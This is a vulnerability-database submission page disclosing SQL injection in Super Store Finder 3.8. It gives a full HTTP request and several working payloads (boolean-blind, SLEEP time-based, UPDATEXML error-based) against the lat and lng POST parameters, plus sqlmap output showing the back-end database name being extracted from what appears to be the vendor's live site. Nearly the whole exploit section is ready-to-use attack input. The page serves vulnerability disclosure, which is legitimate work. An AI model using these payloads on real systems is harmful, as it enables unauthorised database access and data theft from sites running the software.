| Titel | highwarden Super Store Finder 3.8 SQL Injection |
|---|
| Beschreibung | # Exploit Title: Super Store Finder 3.8 - Multiple SQL Injection
# Exploit Author: skalvin
# Date: 26/08/2026
# Vendor: highwarden
# Vendor Homepage: https://codecanyon.net/item/super-store-finder/3630922
# Software Link: https://superstorefinder.net/products/superstorefinder/index.php
# Tested on: Windows 11 Pro
# Impact: Database Access
## Description
SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.
Path: /products/superstorefinder/index.php
POST parameter 'lat' is vulnerable to SQLI
POST parameter 'lng' is vulnerable to SQLI
## HTTP Request
```
POST /products/superstorefinder/index.php HTTP/1.1
Host: superstorefinder.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:154.0) Gecko/20100101 Firefox/154.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Origin: https://superstorefinder.net
Referer: https://superstorefinder.net/products/superstorefinder/index.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
ajax=1&action=get_nearby_stores&distance=1&lat=[SQLI]&lng=[SQLI]&products=1
```
## PoC:
[+] current database
---
Parameter: lat (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace
Payload: ajax=1&action=get_nearby_stores&distance=200&lat=(SELECT (CASE WHEN (06657=6657) THEN 03586 ELSE 3*(SELECT 2 UNION ALL SELECT 1) END))&lng=-74.0059728&products=347
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: ajax=1&action=get_nearby_stores&distance=200&lat=(SELECT(0)FROM(SELECT(SLEEP(8)))a)&lng=-74.0059728&products=347
Parameter: lng (POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
Payload: ajax=1&action=get_nearby_stores&distance=200&lat=40.7127753&lng=-74.0059728AND UPDATEXML(0,CONCAT_WS(0x28,0x7e,0x72306f746833783439,0x7e),0)&products=347
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace
Payload: ajax=1&action=get_nearby_stores&distance=200&lat=40.7127753&lng=(SELECT (CASE WHEN (02949=2949) THEN 03586 ELSE 3*(SELECT 2 UNION ALL SELECT 1) END))&products=347
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: ajax=1&action=get_nearby_stores&distance=200&lat=40.7127753&lng=(SELECT(0)FROM(SELECT(SLEEP(5)))a)&products=347
---
[14:04:43] [INFO] testing MySQL
[14:04:43] [INFO] confirming MySQL
[14:04:43] [INFO] the back-end DBMS is MySQL
[14:04:43] [INFO] fetching current database
[14:04:43] [INFO] resumed: '*********_***'
current database: '*********_***'
[-] Done |
|---|
| Quelle | ⚠️ https://superstorefinder.net/products/superstorefinder/index.php |
|---|
| Benutzer | skalvin (UID 49463) |
|---|
| Einreichung | 26.08.2026 16:07 (vor 2 Monaten) |
|---|
| Moderieren | 10.10.2026 15:29 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 416196 [highwarden Super Store Finder bis 3.8 index.php lat/lng SQL Injection] |
|---|
| Punkte | 20 |
|---|